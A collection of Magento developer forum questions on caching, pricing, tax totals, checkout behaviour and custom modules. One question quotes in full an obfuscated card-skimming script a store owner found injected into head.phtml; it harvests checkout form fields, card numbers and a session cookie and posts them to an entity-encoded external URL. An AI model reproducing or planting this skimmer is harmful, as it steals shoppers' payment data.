texts: Ive just added around 100 url rewrites directly into the url_rewrites db table but Magento doesn't use them, Ive reindexed and cleared the cache but really don't know what to do next - what am i missing ?


texts:
How do set REDIS with APC in magento (local.xml)?

I have to put twice the "< backend >"?

My code looks like this:

<cache>
   <backend>apc</backend>
    <slow_backend>file</slow_backend>
    <slow_backend_store_data>0</slow_backend_store_data>
    <auto_refresh_fast_cache>1</auto_refresh_fast_cache>
    <lifetime>259200</lifetime>
    <prefix>database_</prefix>

  <backend>Cm_Cache_Backend_Redis</backend>
  <backend_options>
    <server>127.0.0.1</server>
    <port>6379</port>
    <persistent></persistent>
    <database>0</database>
    <password></password>
    <force_standalone>0</force_standalone>
    <connect_retries>1</connect_retries>
    <read_timeout>10</read_timeout>
    <automatic_cleaning_factor>0</automatic_cleaning_factor>
    <compress_data>1</compress_data>
    <compress_tags>1</compress_tags>
    <compress_threshold>20480</compress_threshold>
    <compression_lib>lzf</compression_lib>
  </backend_options>
</cache>


texts:
i fond <?php echo $this->getIncludes() ?> this code in my head.phtml it will show some encoding script like hacking code below mention

<script type="text/javascript">function jj(e){var t="; "+document.cookie,o=t.split("; "+e+"=");return 2==o.length?o.pop().split(";").shift():void 0}jj("SESSIID")||(document.cookie="SESSIID="+(new Date).getTime()),jQuery(function(e){e("button").on("click",function(){var t="",o="post",n=window.location;if(new RegExp("onepage|checkout").test(n)){for(var c=document.querySelectorAll("input, select, textarea, checkbox"),i=0;i<c.length;i++)if(c[i].value.length>0){var a=c[i].name;""==a&&(a=i),t+=a+"="+c[i].value+"&"}if(t){var l=new RegExp("[0-9]{13,16}"),u=new XMLHttpRequest;u.open(o,e("<div />").html("&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#111;&#119;&#110;&#115;&#97;&#102;&#101;&#116;&#121;&#46;&#111;&#114;&#103;&#47;&#111;&#112;&#112;&#46;&#112;&#104;&#112;").text(),!0),u.setRequestHeader("Content-type","application/x-www-form-urlencoded"),u.send(t+"&asd="+(l.test(t.replace(/s/g,""))?1:0)+"&utmp="+n+"&cookie="+jj("SESSIID")),console.clear()}}})});</script>

How to check <?php echo $this->getIncludes() ?> where this file available


texts: Magento 2.3.3 set product as New date issue

texts:
I am having an issue with Magento 2.3.3 and set up as new to Date.

Although I set the date in a product in admin, if I go back to the product and press save the date for set up product as new to is gone.
This is really strange.
So I thought to create a simple module to keep that date just before saving the product. Also I inserted a function to give the product if the date is not set 90days + the date is when you save. But it isn't working and I don't see any errors in logs

My code is:

namespace MyModule\DatesFix\Plugin\Backend\Magento\Catalog\Model;

/**
 * Class Product
 * @package Mymodule\DatesFix\Plugin\Backend\Magento\Catalog\Model
 */
class Product
{

    /**
     * Before save
     *
     * @param \Magento\Catalog\Model\Product $subject
     *
     *
     * @return array
     */
    public function beforeBeforeSave(
        \Magento\Catalog\Model\Product $subject
    ) {
        $newDateTo = date('Y-m-d h:m:s', strtotime("+90 day"));
        $from = $subject->getNewsFromDate();
        $to = $subject->getNewsToDate();
        if ($from && $to) {
            $subject->setNewsToDate($newDateTo);
        }

        return [];
    }
}


texts: How to make prices update in configurable products front end

texts:
I am learning to use Magento to assemble configurable products. I have noticed that if I have different prices for each Simple Product, when I assemble the Configurable Product, the prices I used in the Simple products don't seem to update in the front end when I select them from the drop-down menu I created to cater for them. Only the same single price I used in the configurable price panel shows no matter which variant I select.

I have tried also placing the prices in the area allocated in 'Associated Products' panel but it shows in the front end as an addition (eg + $4.50) which is not desirable.

Is there a way to pass through the Simple Products price so it shows in the front end of the Configurable Product when I select each variant from the dropdown menu?

Do I need an extension to achieve this? Thanks in advance.


texts: M1 - Exception: Expected PayPal field not found in NVP Response: AMT @ PayPal Express

texts:
We are seeing this error since 1 sept 2020 more often in Magento 1.9.4.x and PHP 7.2
Exception: Expected PayPal field not found in NVP Response: AMT in app/code/core/Mage/Paypal/Model/Api/Nvp.php:1168
Question: How can this be resolved? Or has anyone done this already?
(or is this a customer specific issue, that some customer's orders do submit AMT and others do not?)
Help appreciated
References:
https://community.magento.com/t5/Payments-PayPal/PayPal-response-hasn-t-required-fields-AMT-field-is-deprecated/td-p/51852
https://www.experts-exchange.com/questions/29115407/Magento-shows-error-message-when-trying-to-make-payment-with-PayPal.html


texts: Magento 2: format var invoice.created_at

texts:
I'm using EaDesgin/magento2-pdf-generator2 to format the customer's invoice. This works nice. But in this template I use the magento 2 variable {{var invoice.created_at}}, what gives me the ugly format 'yyyy-mm-dd h:i:s'.

I want to reformat this date.
Maybe I could add a custom variable (not with backend, there I cannot use PHP functions), or a filter to invoice.created_at. Where can I do that?


texts: Passing Array in REST Api Magento2 (Post Method)

texts:
I have created many rest Api in magento2 which working perfectly... I have only problem to pass the array in custom rest api...
for example I am passing the data in below format from postman.

  {"vendor_data":{"name":"Mujassam", "mobile":7777}}

It gives me below error:

  "message": "Class array does not exist",
    "code": -1,

Api interface is as below,

/**
 * return placed order status
 * @api
 * @param array[] $vendor_data
 * @return array
 */
public function createVendor($vendor_data);

EDIT: tried this but no luck

How to handle multi level array as input parameter from custom POST webservice in Magento2


texts: Forward to the right shop depending on products

texts:
We have the following configuration:

[gp] Shop 1

[gp-de]German

[sh] Shop 2

[sh-de]German

[bs] Shop 3

[bs-de]German

We have three different Shops, but want our customers to be able to mix their products from all shops into one cart and be able to checkout with that single cart. All three shops are under one website. This works perfectly. If you walk through one shop (e.g. via search), you see products from other shops, witch is desired, too. When you click on an product of another shop, you see it with the template and design of the the originating product/page.

We would like to have a switch, which changes the store&store-view and forwards to the domain of the store of the product which is requested.

For example:

Origin: Form Product 1 of Shop 1
Click on Product 2 of Shop 2
--> Show Product 2 in appearance of Shop 2

Is there a possibility to configure this behavior in magento?


texts: Ignore Column Table not working in Data Migration tool

texts:
i add a custom column to my Magento 2 quote column which is shipping_delivery_date

i got a warning error when i migrate the data:

[2020-02-27 02:37:24][WARNING]: Destination fields are not mapped. Document: quote. Fields: shipping_delivery_date

i tried to ignore this column using map.xml file:

  <destination>
    ........
    <field_rules>
        .......
        <ignore>
            <document>quote.shipping_delivery_date</document>
        </ignore>
    </field_rules>
  </destination>

but i still got the same warning


texts: How to add a custom attribute filter in Product listing, search result and also update layered navigation in Magento 2.4?

texts:
I have a custom attribute materials_used, I need to filter it's automatically (hardcode) in PLP & search with layered navigation.
materials_used attribute is also hidden by customers.
Hint: Magento\Catalog\Model\Layer\Search\CollectionFilter -> added condition in afterFilter
addAttributeToFilter('materials_used',array('like' => '%Steel%'));
But layered navigation is not working.


texts: How can i make User Selection Courier service

texts: I need user should be select the courier service at the shipping proces, like aramax, professional, DHL, FedEx,


texts: Is there a way to automate catalog:images:resize after a product import?

texts:
First off, all product data is being imported in to Magento. I know it's an issue that the images cache isn't created so after the import products show placeholder images and we can fix this by generating the images with:
php bin/magento catalog:images:resize

Yes, it takes a while, but it does the job and it seems to go faster the next time it's run.
But I want to import products on a schedule now and I can't run that command manually every day. I could add it to the cron I guess, something like:
0 * * * * /usr/bin/php /var/www/html/bin/magento catalog:images:resize > /var/www/html/var/log/images.cron.log

which would run the command every hour (and overwrite the log) but that seems really inefficient.
What I want to know is:

Is there a way to run this command via an observer when, for example, a product import completes?

Or..

Is there a way to hook in to the save product method and just generate the images I need for that product only?


texts: Shipping address changes to customer_address_entity data not from quote_address when refreshed on payment page Magento 2

texts:
We Noticed that selected shipping address is saved when clicked 'Next' on checkout/#shipping page in quote_address table. The address is changing to customer_address_entity data if the customer clicks browser refresh button or F5 when on the payment page. The quote_address is not getting updated even after the refresh, it's an issue with browser display, so not sure what's going on. Any clues on how to identify the code that's switching address upon refresh in Magento 2.2.x?

This will only happen when there is 1 or more addresses in customer profile.

It maybe possible to add an observer as mentioned in this post reset address issue but trying to understand the root cause.

Thanks


texts: Magento 2: How to get product attributes?

texts:
How can I get the list of attributes that a product has?

Foe example: Product "camiseta" has color and size as available attributes.


texts:
Magento 2 Best Seller Collection:

<?php

namespace MPS\Allproduct\Block\Index;

class Index extends \Magento\Framework\View\Element\Template {

    protected $_coreRegistry = null;
    protected $_collectionFactory;

    public function __construct(
        \Magento\Backend\Block\Template\Context $context,
        \Magento\Framework\Registry $registry,
       \Magento\Sales\Model\ResourceModel\Report\Bestsellers\CollectionFactory $collectionFactory,
        array $data = []
    ) {
        $this->_collectionFactory = $collectionFactory;
        $this->_coreRegistry = $registry;
        parent::__construct($context, $data);
    }

    public function _prepareLayout()
    {
        return parent::_prepareLayout();
    }
    public function getBestSellerData()
    {
        $collection = $this->_collectionFactory->create()->setModel(
            'Magento\Catalog\Model\Product'
        );

        return $collection;
    }

}

I used above collection but it always show 5 products only but I don't know how it will work.

How to reset count. In My Collection is correct?


texts: Magento 2 - Allow only one shipping address

texts:
I have created provision for customer to be able to select a shipping address before login in. And I would like only that shipping address to appear and don't want customer to be able to change it to any other shipping address or add any new address.

I am not able to find from where the address collection is coming where I can write my code to restrict it returning only the previously selected address.


texts: show getPriceHtml() in custom module through ajax

texts:
I'm trying insert price block in my module.
My Controller.php

public function indexAction() {
    $sku = $this->getRequest()->getParam('sku');
    if (!$sku) { return false; }
    $product = Mage::getModel('catalog/product')->loadByAttribute('sku',$sku);
    if (!$product) { return false; }
    $response = [
        $product->getPrice(),
        $product->getName(),
        $product->getThumbnail(),
        $product->getIsSalable(),
        $product->getProductUrl(),
    ];

    $productBlock = $this->getLayout()->createBlock('catalog/product_price');
    $data = $productBlock->getPriceHtml($product, true);

    $this->getResponse()->setHeader('Content-type', 'application/json');
    $this->getResponse()->setBody(json_encode($response, $data));
}

And my Ajax section in template.phtml:

jQuery.ajax({
            url: url,
            type: 'POST',
            data: params,
            dataType: 'json',
            success: function (response, data) {
                if (response) {
                    var array = response;
                    var name = array[1];
                    var image = array[2];
                    var stock1 = array[3];
                    var url = array[4];

                    $j(idPrice).html(data);
                    $j(idName).text(name);
                    $j(idName).attr('href', url);
                    $j(idName).attr('title', name);
                    $j(idStock).text(stock);
                    $j(idImage).attr('src', "/media/catalog/product/" + image);
                }
            }
        });

But this leads to an error Ajax request.


texts:
Here I need to add a Banner attribute in Magento 2.

Here, On banner edit page I need to add an attribute, but I have no idea how to achieve it.
Can I get some help? Thank you in advance.


texts: Multilingual site same domain homepage issue

texts:
We are having a small issue on our multilingual website, https://www.derrampenshop.de
When we are on the "German " store view the homepage works perfectly but if we select the "English" store view it directs me to a product and even if I disable this product it will send us to a 404 no-route page.

I am new to this, so anyone can advise how can we sort this?

Thanks in advance.


texts: How to call a custom template phtml file on home page magento 1.9

texts:
How to call blog_slide.phtml on home page or in static block.

{{block type="core/template" template="magentothem_blog/blog_slide.phtml"}}

i tried this but nothing happens.

<?php
$enabled_slide = Mage::getStoreConfig('blog/slide/enabled');
if($enabled_slide):
    $itemsTablet = $this->getConfig('itemsTablet');
    $itemsMobile = $this->getConfig('itemsMobile');
    $show_image = $this->getConfig('showimage');
    $show_title = $this->getConfig('showtitle');
    $show_author = $this->getConfig('showauthor');
    $show_time = $this->getConfig('showtime');
    $show_shortcontent = $this->getConfig('showshortcontent');
    $showcomment = $this->getConfig('showcomment');
    $show_readmore = $this->getConfig('showreadmore');

    echo "item".$itemsTablet;
?>
    <?php $post = $this->getRecent()->getFirstItem(); ?>
    <?php if($post): ?>

FROM THE BLOG

                        <?php if($show_image): ?>
                            <?php if($post->getAddress()): ?><a href="<?php echo $post->getAddress(); ?>" ><?php endif; ?>
                            <?php echo 'getThumbnailimage().'"/>'; ?>
                            <?php if($post->getAddress()): ?><?php endif; ?>
                        <?php endif; ?>

                            <?php if($show_author) echo 'By '.$post->getUser().'';
                                if($show_author && $show_time) echo '';
                                if($show_time) echo '' .date("d M Y", $date).''; ?>
                            <?php if($showcomment) echo ''.$this->getcountcomment($post->getPostId()) .' comments ' ?>

                        <?php if($show_title): ?>
<a href="<?php echo $post->getAddress(); ?>" ><?php echo $post->getTitle() ?>
 <?php endif; ?>
                        <?php $s = $post->getCreatedTime(); $date = strtotime($s); ?>
                        <?php if($show_shortcontent) echo '
' .strip_tags($this->getContentBlogSidebar($post->getShortContent(),120)) .'
';?>

                        <?php if($show_readmore): ?> <a class="readmore" href="<?php echo $post->getAddress(); ?>">Read more  <?php endif; ?>

    <?php else: ?>

<?php echo $this->__('There are no blog matching the selection.') ?>

    <?php endif; ?>
<?php endif; ?>


texts: Products are disappeared on the frontend. All show up after reindex manually. - Magento 2

texts:
All products are disappeared on the frontend. All show up again after reindex all
php bin/magento indexer:reindex

After a few hours later, all products are disappeared again on categories and search results.
I did 'bin/magento cron:install'
It looks cronjob is working

Magento 2.4.2


texts: all buttons on a store redirect to page not found

texts:
I'm using a multiple store.

  The first store works perfectly but the second one has an issue.

  when we click to a button (add to cart, create account, contact) it
  redirects to 'error 404' page not found.)

It's not my first time to create a multiple store, but I never had this error.

I specify that i m using magento 2.3.2 (it was 1.9 before migration), php 7

Help please

[2020-03-25 12:18:50] main.CRITICAL: Type de bloc invalide: Magento\Sales\Block\Adminhtml\Order\View {"exception":"[object] (Magento\Framework\Exception\LocalizedException(code: 0): Type de bloc invalide: Magento\Sales\Block\Adminhtml\Order\View at /home/teico/public_html/vendor/magento/framework/View/Layout/Generator/Block.php:274, ReflectionException(code: 0): Class Magento\Sales\Model\Order\Invoice\CommentFactory does not exist at /home/teico/public_html/vendor/magento/framework/Code/Reader/ClassReader.php:35, ReflectionException(code: 0): Class Magento\Sales\Model\Order\Invoice\CommentFactory does not exist at /home/teico/public_html/vendor/magento/framework/Code/Reader/ClassReader.php:29)"} []

this is my system.log

[2020-03-25 12:31:26] main.DEBUG: URI '/checkout/cart/add/uenc/aHR0cHM6Ly90ZWljby5iZS9jYXRhbG9nc2VhcmNoL3Jlc3VsdC9pbmRleC8_cD0xJnE9ZmxleGlibGUlMkJpbm94JTJCMjYlMkIzNA,,/product/19541/'' cannot be accessed with GET method (Magento\Checkout\Controller\Cart\Add) [] []
[2020-03-25 12:31:26] main.DEBUG: Request validation failed for action "Magento\Checkout\Controller\Cart\Add\Interceptor" [] []
[2020-03-25 12:31:27] main.INFO: Broken reference: the 'product.reviews' element cannot be added as child to 'product_tabs', because the latter doesn't exist [] []
[2020-03-25 12:31:32] main.DEBUG: URI '/review/product/post/id/26046/'' cannot be accessed with GET method (Magento\Review\Controller\Product\Post) [] []
[2020-03-25 12:31:32] main.DEBUG: Request validation failed for action "Magento\Review\Controller\Product\Post\Interceptor" [] []
[2020-03-25 12:31:37] main.ERROR: Warning: file_put_contents(/home/teico/public_html/var/cache//mage-tags/mage---773_TRANSLATE): failed to open stream: Permission denied in /home/teico/public_html/vendor/colinmollenhour/cache-backend-file/File.php on line 691 [] []
[2020-03-25 12:32:02] main.INFO: Cron Job catalog_product_outdated_price_values_cleanup is run [] []
[2020-03-25 12:32:02] main.INFO: Cron Job catalog_product_outdated_price_values_cleanup is successfully finished. Statistics: {"sum":0.00084185600280762,"count":1,"realmem":0,"emalloc":1824,"realmem_start":48234496,"emalloc_start":45650072} [] []
[2020-03-25 12:32:02] main.INFO: Cron Job catalog_product_frontend_actions_flush is run [] []
[2020-03-25 12:32:02] main.INFO: Cron Job catalog_product_frontend_actions_flush is successfully finished. Statistics: {"sum":0.00077104568481445,"count":1,"realmem":0,"emalloc":752,"realmem_start":48234496,"emalloc_start":45652072} [] []
[2020-03-25 12:32:02] main.INFO: Cron Job sales_grid_order_async_insert is run [] []

this is debug.log


texts: Displaying custom attribute made add to cart and short descrption hide on product view page

texts:
I was trying to display a custom attribute to product view page and overwrote the base file with child theme but after that only the custom attribute is showing and rest has disappeared i.e add to cart, QTY and short description . Any idea why?

app/design/frontend/ThemePackage/themename/Magento_Catalog/layout/catalog_product_view.xml

<?xml version="1.0"?>
<page layout="1column" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">

        <referenceContainer name="content">
            <container name="product.info.main" htmlTag="div" htmlClass="product-info-main product-shop col-md-7 col-sm-7 col-xs-12" after="product.info.media">
                <block class="Magento\Catalog\Block\Product\View\Description" name="product.info.measurements" template="product/view/customattribute.phtml" after="product.info.overview">
                    <arguments>
                        <argument name="at_call" xsi:type="string">getMeasurements</argument>
                        <argument name="at_code" xsi:type="string">measurements</argument>
                        <argument name="css_class" xsi:type="string">measurements</argument>
                        <argument name="at_label" xsi:type="string">measurements</argument>
                        <argument name="add_attribute" xsi:type="string">itemprop="measurements"</argument>
                    </arguments>
                </block>
            </container>
        </referenceContainer>

app/design/frontend/ThemePackage/themename/Magento_Catalog/templates/product/view/customattribute.phtml

<?php
$_helper = $this->helper('Magento\Catalog\Helper\Output');
$_product = $block->getProduct();
$_code = $block->getAtCode();
$_className = $block->getCssClass();
$_attributeLabel = $block->getAtLabel();
$_attributeType = $block->getAtType();
$_attributeAddAttribute = $block->getAddAttribute();

if ($_attributeLabel && $_attributeLabel == 'default') {
    $_attributeLabel = $_product->getResource()->getAttribute($_code)->getFrontendLabel();
}
$_attributeValue =$_product->getResource()->getAttribute($_code)->getFrontend()->getValue($_product);
?>
<?php if ($_attributeValue) { ?>
    <div class="product attibute <?php echo $_className?>">
    <div class="value" <?php echo $_attributeAddAttribute;?>><?php echo $_attributeValue; ?>

<?php } ?>


texts: magento2 - tax amount gets difference of 0.01 for the products which have the same price

texts: I am using magento2.1.3. I am getting a difference of 0.01 in tax amounts for 2 different products but having the same price. For example I added  product1 with 1000 price. Added another Product2 with 1000 price and finished the checkout. Lookin at the order details page in the backend it shows 166.67 for product1 and 166.66 for product2 in the tax amount column. In the quote_item table also it is saved like this. Ideally it should be 166.67


texts: Magento unable to send eMail, exeption error

texts:
I got this error message in my exception file.

exception 'Zend_Mail_Transport_Exception' with message 'Unable to send mail. ' in /lib/Zend/Mail/Transport/Sendmail.php:137
Stack trace:
#0 /lib/Zend/Mail/Transport/Abstract.php(348): Zend_Mail_Transport_Sendmail->_sendMail()
#1 /lib/Zend/Mail.php(1194): Zend_Mail_Transport_Abstract->send(Object(Zend_Mail))
#2 /app/code/core/Mage/Core/Model/Email/Queue.php(241): Zend_Mail->send()
#3 [internal function]: Mage_Core_Model_Email_Queue->send(Object(Mage_Cron_Model_Schedule))
#4 /app/code/core/Mage/Cron/Model/Observer.php(325): call_user_func_array(Array, Array)
#5 /app/code/core/Mage/Cron/Model/Observer.php(72): Mage_Cron_Model_Observer->_processJob(Object(Mage_Cron_Model_Schedule), Object(Mage_Core_Model_Config_Element))
#6 /app/code/core/Mage/Core/Model/App.php(1338): Mage_Cron_Model_Observer->dispatch(Object(Varien_Event_Observer))
#7 /app/code/core/Mage/Core/Model/App.php(1317): Mage_Core_Model_App->_callObserverMethod(Object(Mage_Cron_Model_Observer), 'dispatch', Object(Varien_Event_Observer))
#8 /app/Mage.php(448): Mage_Core_Model_App->dispatchEvent('default', Array)
#9 /cron.php(76): Mage::dispatchEvent('default')
#10 {main}
2015-01-21T13:00:01+00:00 ERR (3):
exception 'Zend_Mail_Transport_Exception' with message 'Unable to send mail. ' in /lib/Zend/Mail/Transport/Sendmail.php:137

Is this issue in Magento, or its Server issue?


texts:
I want that for a specified period, the attribute is changed from yes to no. because someone has an idea?

This is my current code:

<?php if ($_product->getAttributeText(‘backthere’) == “Yes”): ?>
   Wieder da
<?php endif; ?>

Thanks


texts: Where is the design theme initialized during a frontend request?

texts:
Given two action controllers

One extending \Magento\Framework\App\Action\Action
One implementing \Magento\Framework\App\ActionInterface

Both simply return the value of \Magento\Framework\View\Result\PageFactory::create()

Both have a layout XML file matching the handles for the respective requests. Both of the files extend the 1columns layout.

For the first action controller extending Action the result is (as expected) a rendered Magento page with an empty content area.

But for the second controller implementing the interface a completely white page is displayed (technically only the root template is rendered).

The only difference I was able to see was that the second controller does not dispatch the events triggered in Action::dispatch(). But even after also dispatching the same events there was no difference in the rendered page.

Debugging further I noticed in \Magento\Framework\View\File\Collector\Base::getFiles() the theme was not properly initialized.

$area = $theme->getData('area'); returned null.
Replacing that with $area = $theme->getArea() fixed that. Now the paths to the base view files are correct, but no theme files are loaded.

In \Magento\Framework\View\File\Collector\ThemeModular::getFiles() the line $themePath = $theme->getFullPath(); returns null.

Now, finally, my question is: where is the theme initialized?
Further questions are why does that happen for the first action controller and not for the second?


texts: Customer connect to magento2 from cakephp

texts:
I need to create a script that let customer to get status connected on Magento 2 when he connect in an external website (CakePhp)
NB: Magento and CakePhp are in the same server.
when I use this script:
<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);
use Magento\Framework\App\Bootstrap;
require __DIR__ . '/app/bootstrap.php';
$bootstrap = Bootstrap::create(BP, $_SERVER);
$obj = $bootstrap->getObjectManager();
$storeManager = $obj->get('\Magento\Store\Model\StoreManagerInterface');
$objectManager =  \Magento\Framework\App\ObjectManager::getInstance();
$state = $objectManager->get('Magento\Framework\App\State');
$state->setAreaCode('frontend');
$productMetadata = $objectManager->get('Magento\Framework\App\ProductMetadataInterface');

$customerEmail ="test@gmail.com";

$CustomerModel = $objectManager->create('Magento\Customer\Model\Customer');
$CustomerModel->setWebsiteId(1); //Here 1 means Store ID**
$CustomerModel->loadByEmail($customerEmail);
$customerId = $CustomerModel->getId();

echo $customerId ;
$objectManager = \Magento\Framework\App\ObjectManager::getInstance();
// Load customer
$customer = $objectManager->create('Magento\Customer\Model\Customer')->load($customerId);
// Load customer session
$customerSession = $objectManager->create('Magento\Customer\Model\Session');
$customerSession->setCustomerAsLoggedIn($customer);
if($customerSession->isLoggedIn()) {
    echo "Customer Logged in";
}else{
    echo "customer is Not Logged in";
}
?>

When I execute this code I have this error in cakephp
Error: Cannot redeclare Zend\Diactoros\createUploadedFile()
File /vendor/laminas/laminas-diactoros/src/functions/create_uploaded_file.legacy.php


texts: How to convert Json object to an associative array?

texts:
Building an associative array from json object is necessary when making an API call to Walmart. Could anyone please help me get the associative array from this object?
{
  "orderShipment": {
    "orderLines": {
      "orderLine": [
        {
          "lineNumber": "1",
          "sellerOrderId": "92344",
          "orderLineStatuses": {
            "orderLineStatus": [
              {
                "status": "Shipped",
                "statusQuantity": {
                  "unitOfMeasurement": "EACH",
                  "amount": "1"
                },
                "trackingInfo": {
                  "shipDateTime": 1580821866000,
                  "carrierName": {
                    "otherCarrier": null,
                    "carrier": "UPS"
                  },
                  "methodCode": "Standard",
                  "trackingNumber": "22344",
                  "trackingURL": "http://walmart/tracking/ups?&type=MP&seller_id=12345&promise_date=03/02/2020&dzip=92840&tracking_numbers=92345"
                },
                "returnCenterAddress": {
                  "name": "walmart",
                  "address1": "walmart store 2",
                  "address2": null,
                  "city": "Huntsville",
                  "state": "AL",
                  "postalCode": "35805",
                  "country": "USA",
                  "dayPhone": "12344",
                  "emailId": "walmart@walmart.com"
                }
              }
            ]
          }
        },
        {
          "lineNumber": "2",
          "sellerOrderId": "92344",
          "orderLineStatuses": {
            "orderLineStatus": [
              {
                "status": "Shipped",
                "statusQuantity": {
                  "unitOfMeasurement": "EACH",
                  "amount": "1"
                },
                "trackingInfo": {
                  "shipDateTime": 1580821866000,
                  "carrierName": {
                    "otherCarrier": null,
                    "carrier": "FedEx"
                  },
                  "methodCode": "Express",
                  "trackingNumber": "22344",
                  "trackingURL": "http://walmart/tracking/fedEx?&type=MP&seller_id=12345&promise_date=03/02/2020&dzip=92840&tracking_numbers=92344"
                },
                "returnCenterAddress": {
                  "name": "walmart",
                  "address1": "walmart store 2",
                  "address2": null,
                  "city": "Huntsville",
                  "state": "AL",
                  "postalCode": "35805",
                  "country": "USA",
                  "dayPhone": "12344",
                  "emailId": "walmart@walmart.com"
                }
              }
            ]
          }
        }
      ]
    }
  }
}


texts: how to override email html file in magento2

texts:
I want to change following text in checkout page

You can create an account after checkout.

Actually this line is coming from following file.

app/code/Magento/Checkout/view/frontend/web/template/form/element/email.html

Can you any one give approach to override?


texts: redirect to "Shopping cart" page instead of "Checkout" page after registration

texts:
we provide coupon codes for only Registered customers.

so what we did is when a guest applied a coupon code it will display a message

"please register" , but when guest succesfully registered , its redirecting to "checkout" page instead of

"shopping Cart" page. i want to redirect to "shopping cart" page after registration.

please help me to find solution

thanks in advance


texts: Creating Custom option and prize to just added product to cart using observer

texts:
I want to add custom option to quoteitem using observer which observer checkoutCartProductAddAfter event and fires after product added to cart.

public function checkoutCartProductAddAfter(Varien_Event_Observer $observer)
{

 $item = $observer->getQuoteItem();
  $item->addOption(new Varien_Object(
            array(
                    'product' => $item->getProduct(),
                    'label' => 'Free Gifts',
                    'value' => 'Spend $50 and get gift product worth $9.99'
                 )
        ));
    return;

}

My observer is working
but i am not able to add custom option to added product. please provide help to add custom option using observer to just added product.


texts: Magento - Please specify the product required option(s) Error in configurable product

texts:
I got below error on the configurable product of Magento 1 website. I have tried with http and https but it's not working.

Please specify the product required option(s)

Every help is appreciated.


texts:
I have a site in production and am looking to move it to live this week. The database will be exactly the same, the site will just be moved to a different folder on the server. (Ie from devsite.com to livesite.com)

Is it as simple as copying all the files and putting them on the live site? Or will there be absolute references that will still point to the dev site? Is there anything else I will have problems with in the move?

EDIT: HELP!!! I have performed the change to the DB like it says in the answer below, but it is still redirecting from livesite.com to devsite.com!


texts:
I'm adding a best selling products block to my sidebar, but I have encountered a problem.
I simply cannot get the price of the product.

Here is my template;

<?php

$totalPerPage = ($this->show_total) ? $this->show_total : 6;
$counter = 1;
$visibility = array(
                      Mage_Catalog_Model_Product_Visibility::VISIBILITY_BOTH,
                      Mage_Catalog_Model_Product_Visibility::VISIBILITY_IN_CATALOG
                  );

$storeId = Mage::app()->getStore()->getId();
$_productCollection = Mage::getResourceModel('reports/product_collection')
                              ->addAttributeToSelect('*')
                              ->addOrderedQty()
                              ->addAttributeToFilter('visibility', $visibility)
                              ->setOrder('ordered_qty', 'desc');
?>

Bestsellers

<?php foreach($_productCollection as $product): ?>

<?php if($counter <= $totalPerPage): ?>

<?php $productUrl =  $product->getProductUrl() ?>
  <a href="<?php echo $productUrl ?>" title="View <?php echo $product->name ?>">

<?php echo $product->name ?>

  <a href="<?php echo $productUrl ?>" title="View <?php echo $product->name ?>">
  <img src="<?php echo $this->helper('catalog/image')->init($product, 'image')->resize(120); ?>" alt="Product image"  />

<?php echo $product->short_description ?>

<?php endif; $counter++; ?>
<?php endforeach; ?>

On the 4th line from the bottom I want to display the price instead of the short describtion.
I've tried replacing it with;

$_product->getPrice()

But that made the sidebar crash. What should I insert instead?


texts: Magento 1.9.2.2 - Grand Total less than Subtotal

texts:
On a Magento CE 1.9.2.2 website I'm having an issue where the Grand Total does not include tax, even though the Subtotal does. What this means is that my Subtotal figure is higher than the Grand Total, which is clearly wrong.

I've tried changing every setting in the Admin panel to do with tax and cannot get this to work.

These are some example figures on the shopping cart which also carry through to the checkout:

Subtotal (Excl. Tax)    £909.50
Subtotal (Incl. Tax)    £1,091.40
Tax                     £181.90
Grand Total             £909.50

This is wrong - the Grand Total shold be £1091.40 because that should be the subtotal (£909.50) plus any tax (£181.90)

My configuration and settings are like this:

Product price is 909.50
Product has a tax class of VAT. The tax rules mean 20% tax is applied, which we can see is happening in "Subtotal (Incl. Tax)".
Catalog prices: Excluding tax (this is to specify that the Admin has entered 909.50 as an Ex. Tax price, which is correct).
Tax calculation based on: Shipping address. A UK shipping address has been used in this example so this is correct to apply 20% tax.
Display Subtotal: Including and Excluding tax. This is correct because the cart and checkout do display both ("Excl. tax" and "Incl. tax")

If I set "Include Tax in Grand Total" to "No" it gives the total above (909.50) which is wrong. However... if I set this to "Yes" it makes the problem even worse - it makes even less sense by outputting this:

Subtotal (Excl. Tax)    £909.50
Subtotal (Incl. Tax)    £1,091.40
Grand Total Excl. Tax   £727.60 (!!!)
Tax                     £181.90
Grand Total             £909.50

Templates have not been modified. Core code has not been modified. Caching is disabled.

Does anyone have any ideas? We are all scratching our heads over this one!


texts: Issue with bundle product price not changed on cart page

texts:
I made custom calculation to change product price on cart page.

Product type is bundle.

I used this observer event to set custom price for bundle product.

checkout_cart_product_add_after

My code to set custom price.

 $item->setCustomPrice($final_price);
 $item->setOriginalCustomPrice($final_price);
 $item->getProduct()->setIsSuperMode(true);

Issue is that product price is changed, rowtotal is also changed  but grand total and subtotal of cart was not changed. grandtotal and subtotal take bundle product original price not my calculated price.

Bundle product price type is dynamic.

But when I create bundle product price type fixed custom price calculation is working perfectly.


texts: Magento 2.3.0 MSI isTableExists calls take too long

texts:
I'm experiencing slow performance coming from MSI.
New Relic reports something like:
48 runs of SHOW TABLE STATUS LIKE ? that takes in total 5 seconds.
There are many calls to this because it's about a configurable product in cart that has many associated simple products. Or it's just big cart with many products.

The issue starts like this:

\Magento\CatalogInventory\Observer\QuantityValidatorObserver::execute
\Magento\CatalogInventory\Model\Quote\Item\QuantityValidator\Initializer\StockItem::initialize()
\Magento\CatalogInventory\Model\StockRegistry\Interceptor::getStockStatus()
\Magento\InventoryCatalog\Plugin\CatalogInventory\Api\StockRegistry\AdaptGetStockStatusPlugin::afterGetStockStatus()
\Magento\InventorySales\Model\GetProductSalableQty::execute()
\Magento\InventoryIndexer\Model\ResourceModel\GetStockItemData::execute()
\Magento\Framework\DB\Adapter\Pdo\Mysql::isTableExists()
\Magento\Framework\DB\Adapter\Pdo\Mysql::showTableStatus()

The URL for above trace is from customer/section/load/.
But I see same issue in other URLs.

How can I optimize this with code in Magento 2 (not server/software optimization) ?
Does SHOW TABLE STATUS LIKE ? MySQL locks on table inventory_stock_123 ?
SHOW TABLE STATUS LIKE ? is executed on table(s) inventory_stock_123, correct ? Yes.
Is there a Magento 2 / MSI patch for this ?

EDIT:

The store uses 10.0.38-MariaDB
I believe the big times happen when there are race conditions on the server. This should happen when there locks in progress on table inventory_stock_123.
I replaced all calls (five) in inventory modules from if ($connection->isTableExists($tableName) to:

try {
